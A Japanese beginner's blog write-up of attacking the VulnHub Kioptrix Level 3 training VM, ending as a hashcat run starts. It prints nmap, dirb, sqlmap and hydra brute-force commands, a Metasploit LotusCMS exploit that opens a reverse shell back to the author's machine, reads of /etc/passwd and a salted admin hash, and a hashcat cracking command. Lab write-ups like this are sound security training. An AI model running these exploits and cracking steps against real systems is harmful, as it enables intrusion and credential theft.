White Hat Hackerになるまでの道のりを記しておく。
実際になったわけではなく、なるために勉強をすすめる際のメモを残しておこうと思う。
VulnHubというサイトにはチャレンジ用のVMがたくさんアップロードされている。今回はその中でも有名なKioptrixさんのシリーズもの第三弾(Level3）。
https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
自分のたどり着いた答えまでの道のりをメモしておこうと思う。
はじめに断っておくが、noobなので無意味で意味不明な行動やオプション指定などがあるかもしれない。気づいた人はぜひ指摘いただきたい。
ターゲットホストを探す
今回もDHCPがONになっているVMとのことで、nmapでターゲットを探す。
kali@kali:~$ sudo nmap -Pn -T4 10.10.10.0/24 -p80
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 21:52 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.1
Host is up (0.00047s latency).
PORT STATE SERVICE
80/tcp filtered http
MAC Address: 08:00:27:C8:ED:71 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.5
Host is up (0.00070s latency).
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:E7:2B:CC (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.2
Host is up (0.000057s latency).
PORT STATE SERVICE
80/tcp closed http
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.20 seconds
kali@kali:~$
10.10.10.2はアタックする自分のマシンなので、今回のターゲットのIPアドレスは「10.10.10.5」。
Prep
今回のチャレンジはこれまでと違い、始める前にhostsファイルのvmを追記しろと書いてある。
なので、事前準備。これがヒントになるかも？
kali@kali:~$ sudo vi /etc/hosts
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.kkas.com kali
10.10.10.5 kioptrix3.com
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
kali@kali:~$
説明を読み返してみる。
There’s a web application involved, so to have everything nice and properly displayed you really need to this.
port80が怪しそうな予感。
ターゲットの情報を集める
nmapでターゲットの情報を集める。
kali@kali:~$ sudo nmap -A -T4 10.10.10.5 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 22:02 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for kioptrix3.com (10.10.10.5)
Host is up (0.00094s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 08:00:27:E7:2B:CC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.94 ms kioptrix3.com (10.10.10.5)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds
kali@kali:~$
注目した情報は以下。 ここらから脆弱性を調べていく。事前情報でweb appが絡んでいるとのことなので、80にブラウザアクセスから始めて見る。
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
探索開始
ブラウザでアクセスしてみる。
kali@kali:~$ firefox 10.10.10.5
なにか出てきた。 ほかも色々見てみる。
おぉ。いかにも何かありそうな画面が出てきた。お決まりのSQL Injectionを試してみる。
だめか。とりあえずソースコードも見ておく。
特に気になる点はない。 現時点ではあまりこだわらずにほかも探してみる。
他のページもソースコードを見ていく。
気になる箇所を発見！ コメントアウトで「<a href="gadmin" ...」と書いてある。「admin」という言葉も気になる！ アクセスしてみる。
でた！ ソースコードじゃなく、普通に表示してみる。
ものすごく怪しい！ usernameに「admin」と書いてあるし、そもそもコメントアウトで消し忘れたような感じがさきほど見たログインページよりもさらに怪しい！！ 適当に何も追加入力せず、ログインボタンを押してみる。
だめか。パスワード「admin」で試す。
そりゃそうですよね。
SQL Injectionを試す。
だめか。だが、Brute-forceを使ったパスワードクラッキングはしたくない。なぜなら、正解につながるヒントを仕込んでくれているはずと思うから。
しばらく調査するも進展なし。
別のアプローチがないかを考えることにし、もう一度最初に見つけたログインページを見ていくと
「Powered by LotusCMS」と書いてあることに気づく。
さっそくGoogle先生に「LotusCMS」と聞いてみるといきなりexploitsやらVulnerabilityの文字が並んでいるｗ そんなにダメダメなCMSなのか？？との疑問が湧くが、ここは一旦抑えて使えそうなexploitsを探すことにする。
以下のページを発見。exploitsを試してみる。
https://www.rapid7.com/db/modules/exploit/multi/http/lcms_php_exec
「msf」と書いてあるし、Metasploit FrameworkのExampleぽい。
> Executing “sudo msfdb init && msfconsole”
[sudo] kali のパスワード:
[i] Database already started
[i] The database appears to be already configured, skipping initialization
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v5.0.99-dev ]
+ -- --=[ 2045 exploits - 1106 auxiliary - 344 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: View advanced module options with advanced
msf5 > use exploit/multi/http/lcms_php_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /lcms/ yes URI
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) >
RHOSTSの指定が必要なので、ターゲットの「10.10.10.5」をセットする。
msf5 exploit(multi/http/lcms_php_exec) > set RHOSTS 10.10.10.5
RHOSTS => 10.10.10.5
msf5 exploit(multi/http/lcms_php_exec) >
Exampleの手順を見ると、「show targets」と書いているので何も考えずに実行する。
msf5 exploit(multi/http/lcms_php_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) > set target 0
target => 0
msf5 exploit(multi/http/lcms_php_exec) >
もう一度、オプションを見てみる。
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /lcms/ yes URI
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) >
何か変わったのか？ 多分、targetがもともと１種類なので変化無しなのかな？？
まあいいや。 とにかく実行してみる。
Go!!!
msf5 exploit(multi/http/lcms_php_exec) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) >
残念。。。 見事に失敗しました。 LotusCMSのバージョンが3.0ではないのかもね。
気を取り直して次の手を考える。
msf5 exploit(multi/http/lcms_php_exec) > search lotuscms
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/lcms_php_exec 2011-03-03 excellent Yes LotusCMS 3.0 eval() Remote Command Execution
msf5 exploit(multi/http/lcms_php_exec) >
何か手がかりはないのか。。。
何も思いつかないので、基礎的な情報収集から始めることにする。
さらなるアタックへ
OWASP に乗っているWeb Applicationのアタック方法を参考にすすめてみることにする。
https://owasp.org/www-community/attacks/
Blind SQL Injection
Blind SQL Injection とは
Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
これが使えそうな「?id=」のGETリクエストを探してみると、下記を発見。
早速試してみる。
http://kioptrix3.com/gallery/vote.php?id=3+AND+1=1
んー、何も表示されない。エラーも出ないので何が起こっているのかわからない。。。
そこで、Burpを使ってHTTP Request&Responseを見てみることにする。
だめなのか。。。 「history.go(-1)」によって戻されていることが確認できた。
dirbを使ってみる。
kali@kali:~$ dirb http://kioptrix3.com -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Sep 12 10:55:32 2020
URL_BASE: http://kioptrix3.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://kioptrix3.com/ ----
+ http://kioptrix3.com/index.php (CODE:200|SIZE:1819)
+ http://kioptrix3.com/update.php (CODE:200|SIZE:18)
-----------------
END_TIME: Sat Sep 12 10:55:37 2020
DOWNLOADED: 4612 - FOUND: 2
kali@kali:~$
新しいのは「update.php」。アクセスしてみたが以下のような画面が表示されるだけで何もわからない。 ソースコードもテキストのみ。
LotusCMSの方を探索してみる。
kali@kali:~$ dirb http://kioptrix3.com/gallery/gadmin/ -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Sep 12 10:58:05 2020
URL_BASE: http://kioptrix3.com/gallery/gadmin/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://kioptrix3.com/gallery/gadmin/ ----
+ http://kioptrix3.com/gallery/gadmin/footer.php (CODE:200|SIZE:426)
+ http://kioptrix3.com/gallery/gadmin/functions.php (CODE:200|SIZE:0)
+ http://kioptrix3.com/gallery/gadmin/gallery.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/header.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/index.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/menu.php (CODE:200|SIZE:0)
+ http://kioptrix3.com/gallery/gadmin/mysql.php (CODE:200|SIZE:111)
+ http://kioptrix3.com/gallery/gadmin/photos.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/presentation.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/settings.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/signin.php (CODE:200|SIZE:0)
+ http://kioptrix3.com/gallery/gadmin/signout.php (CODE:200|SIZE:57)
+ http://kioptrix3.com/gallery/gadmin/users.php (CODE:200|SIZE:1546)
-----------------
END_TIME: Sat Sep 12 10:58:11 2020
DOWNLOADED: 4612 - FOUND: 13
kali@kali:~$
ヒットしたURLに一通りアクセスしてみたところ、気になったのは以下のURLだった。
中にはadminのログイン画面が表示されるものがいくつかあった。
気になった一番の理由はURLのパス名。特にmysqlを使っていると思われることが新たな収穫。
http://kioptrix3.com/gallery/gadmin/mysql.php (CODE:200|SIZE:111)
http://kioptrix3.com/gallery/gadmin/signin.php (CODE:200|SIZE:0)
さきほど見ていた「Blind SQL Injection」のページにSQLMapというツールの記載があった。
これを使ってみる。
https://owasp.org/www-community/attacks/Blind_SQL_Injection
kali@kali:~$ sqlmap -u http://kioptrix3.com/gallery/gadmin/index.php --data="username=admin&password=a"
___
__H__
___ ___[(]_____ ___ ___ {1.4.7#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:45:35 /2020-09-12/
[14:45:35] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=30120328d36...64caac528c'). Do you want to use those [Y/n] y
[14:45:44] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:45:44] [INFO] testing if the target URL content is stable
[14:45:44] [INFO] target URL content is stable
[14:45:44] [INFO] testing if POST parameter 'username' is dynamic
[14:45:44] [WARNING] POST parameter 'username' does not appear to be dynamic
[14:45:44] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[14:45:45] [INFO] testing for SQL injection on POST parameter 'username'
[14:45:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:45:45] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:45:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:45:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:45:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:45:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:45:46] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:45:47] [INFO] testing 'Generic inline queries'
[14:45:47] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:45:47] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:45:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:45:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:45:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:45:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:45:49] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[14:46:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:46:07] [WARNING] POST parameter 'username' does not seem to be injectable
[14:46:07] [INFO] testing if POST parameter 'password' is dynamic
[14:46:07] [WARNING] POST parameter 'password' does not appear to be dynamic
[14:46:07] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[14:46:07] [INFO] testing for SQL injection on POST parameter 'password'
[14:46:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:46:07] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:46:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:46:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:46:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:46:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:46:09] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:46:09] [INFO] testing 'Generic inline queries'
[14:46:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:46:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:46:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:46:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:46:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:46:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:46:11] [INFO] testing 'Oracle AND time-based blind'
[14:46:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:46:15] [WARNING] POST parameter 'password' does not seem to be injectable
[14:46:15] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 14:46:15 /2020-09-12/
kali@kali:~$
Brute-force
だめだ。こうなったらヤケクソだ！
Brute-forceでアタックしてやる！！
kali@kali:~$ hydra -l admin -P /usr/share/wordlists/metasploit/password.lst 10.10.10.5 http-post-form "/gallery/gadmin/index.php?task=signin:username=^USER^&password=^PASS:login details were incorrect." -V
10時間後。。。
[ATTEMPT] target 10.10.10.5 - login "admin" - pass "vagrant" - 88397 of 88397 [child 15] (0/0)
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-13 10:38:53
チーン。 こんなに待ったのに失敗か。。。
あぁ、完全に行き詰まった。 心も少し折れそうになってきた。。
初心に帰る
フォートナイトで気晴らしをしたあと、もう一度最初から見直しをしてみることにした。
ヒントはいろいろ揃っている。
ツールの使い方はあっているか、他に試せる脆弱性はないか。
もう一度探してみることにした。
最初に見つけたのはLotusCMSを使用していること。
kali@kali:~$ searchsploit lotusCMS
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit) | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities | php/webapps/16982.txt
-----------------
msf5 exploit(multi/http/php_cgi_arg_injection) > search lotusCMS
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/lcms_php_exec 2011-03-03 excellent Yes LotusCMS 3.0 eval() Remote Command Execution
msf5 exploit(multi/http/php_cgi_arg_injection) > use 0
[*] Using configured payload php/meterpreter/reverse_tcp
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /lcms/ yes URI
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) > set uri /
uri => /
msf5 exploit(multi/http/lcms_php_exec) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) >
msf5 exploit(multi/http/lcms_php_exec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf5 exploit(multi/http/lcms_php_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:9999
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) >
だめ。 このメッセージが少し気になる。
「Exploit completed, but no session was created.」
Payload を変えてみる
msf5 exploit(multi/http/lcms_php_exec) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI / yes URI
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.10.2 yes The listen address (an interface may be specified)
LPORT 7777 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI / yes URI
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.10.2 yes The listen address (an interface may be specified)
LPORT 8888 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:8888
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 1 opened (10.10.10.2:8888 -> 10.10.10.5:36469) at 2020-09-21 14:28:50 +0900
セッションがつながった！
whoami
www-data
ifconfig
sudo ifconfig
^C
Abort session 1? [y/N] y
[*] 10.10.10.5 - Command shell session 1 closed. Reason: User exit
msf5 exploit(multi/http/lcms_php_exec) >
msf5 exploit(multi/http/lcms_php_exec) >
msf5 exploit(multi/http/lcms_php_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:8888
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 2 opened (10.10.10.2:8888 -> 10.10.10.5:36470) at 2020-09-21 14:29:15 +0900
pwd
/home/www/kioptrix3.com
exit
^C
Abort session 2? [y/N] y
[*] 10.10.10.5 - Command shell session 2 closed. Reason: User exit
msf5 exploit(multi/http/lcms_php_exec) >
よし、色々できそうな気がするので一気にいくぞー！
いろいろ試して情報を集める。
潜入捜査
msf5 exploit(multi/http/lcms_php_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:8888
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 3 opened (10.10.10.2:8888 -> 10.10.10.5:45403) at 2020-09-21 14:41:31 +0900
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash
cat /etc/shadow
ユーザー情報は見れたが、ハッシュは取得できなさそう。
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
管理者権限では動かないかも。
pwd
/home/www/kioptrix3.com
cd /
pwd
/home/www/kioptrix3.com
cd ..
pwd
/home/www/kioptrix3.com
ディレクトリの移動はできなそう。
su -
whoami
www-data
su root
whoami
www-data
rootにはsuできなそう
ls -l
total 84
drwxrwxrwx 2 root root 4096 Apr 15 2011 cache
drwxrwxrwx 8 root root 4096 Apr 14 2011 core
drwxrwxrwx 8 root root 4096 Apr 14 2011 data
-rw-r--r-- 1 root root 23126 Jun 5 2009 favicon.ico
drwxr-xr-x 7 root root 4096 Apr 14 2011 gallery
-rw-r--r-- 1 root root 26430 Jan 21 2007 gnu-lgpl.txt
-rw-r--r-- 1 root root 399 Feb 23 2011 index.php
drwxrwxrwx 10 root root 4096 Apr 14 2011 modules
drwxrwxrwx 3 root root 4096 Apr 14 2011 style
-rw-r--r-- 1 root root 243 Aug 5 2010 update.php
ls data
config
filebackups
files
index.php
modules
pages
users
ls data/users
admin.dat
index.php
data/users/admin.datというファイルを発見。怪しい。。。
cat data/users/admin.dat
|318d8dd409db395f0317efa71b3bad13e1fb9857|administrator|bla@bla.com
すごく怪しげなハッシュを発見。しかも、「administrator」という言葉付き。
もっと調べる。
ls data/config
active_design.dat
index.php
modules
salt.dat
site_description.dat
site_keywords.dat
site_title.dat
site_version.dat
ls -l data/config
total 28
-rwxrwxrwx 1 root root 4 Oct 2 2010 active_design.dat
-rwxrwxrwx 1 root root 0 Apr 11 2010 index.php
drwxrwxrwx 2 root root 4096 Apr 14 2011 modules
-rwxrwxrwx 1 root root 30 Apr 14 2011 salt.dat
-rwxrwxrwx 1 root root 21 Oct 2 2010 site_description.dat
-rwxrwxrwx 1 root root 8 Oct 2 2010 site_keywords.dat
-rwxrwxrwx 1 root root 15 Apr 14 2011 site_title.dat
-rwxrwxrwx 1 root root 5 Mar 14 2011 site_version.dat
data/config/salt.datが非常にあやしい。configディレクトリの中にあることからさきほどのハッシュの生成に使用されている可能性がある。
cat data/config/salt.dat
gtZBO2PewhZHR10hGXLaSt0Bc5Ub73
ハッシュ生成アルゴリズムがわかれば、、、と思い、「LotusCMS 3.0」がもしOpen sourceであればアルゴリズムがわかるかもしれないとひらめく。 Google先生に聞くと、Sourceforgeに以下のソースコードを発見。ビンゴ！
Sourceforge
https://sourceforge.net/projects/arboroiancms/files/LotusCMS-3.0-Series/
さっそくダウンロードしてソースコードを眺めていく。ログインやライブラリ周りを調べると発見！
kali@kali:~/ダウンロード$ ls -l lcms-3.0.5
合計 88
drwxrwxrwx 2 kali kali 4096 2月 23 2011 cache
drwxrwxrwx 8 kali kali 4096 8月 6 2010 core
drwxrwxrwx 8 kali kali 4096 3月 15 2011 data
-rw-r--r-- 1 kali kali 23126 6月 5 2009 favicon.ico
-rwxr-xr-x 1 kali kali 26934 1月 22 2007 gnu-lgpl.txt
-rwxr-xr-x 1 kali kali 399 2月 23 2011 index.php
-rwxr-xr-x 1 kali kali 6789 8月 6 2010 install.php
drwxrwxrwx 10 kali kali 4096 2月 23 2011 modules
drwxrwxrwx 3 kali kali 4096 2月 23 2011 style
-rwxr-xr-x 1 kali kali 243 8月 6 2010 update.php
kali@kali:~/ダウンロード$ cd lcms-3.0.5/
kali@kali:~/ダウンロード/lcms-3.0.5$ grep -r 'salt'
core/lib/User.php: $hash = $this->openFile("data/config/salt.dat");
install.php: //Creates a long random string as salt.
install.php: $salt = generateRandStr(30);
install.php: $io->saveFile("data/config/salt.dat", $salt);
kali@kali:~/ダウンロード/lcms-3.0.5$
cat core/lib/User.php
...省略
/**
* Encrypts password using hash and sha1.
*/
public function encryptPass($pass){
//Get the user hash
$hash = $this->openFile("data/config/salt.dat");
//Add hash to password
$pass .= $hash;
//Encrypt Password
$pass = sha1($pass);
//Returns encrypted password
return $pass;
}
...省略
アルゴリズムが「SHA1」、
saltとして「password + salt」を使用していることがわかった。
パスワードクラッキング
これでパスワードのクラッキングが現実味を帯びてきた気がする。
Kali Linux のツールでインストールされている「hashcat」というツールが良さそうなことが判明。 使い方に苦労しながら、結局は下記に落ち着く。
kali@kali:~$ cat hash_salt.txt
318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2PewhZHR10hGXLaSt0Bc5Ub73
kali@kali:~$ hashcat -m 110 -a 0 ./hash_salt.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.0.0) starting...
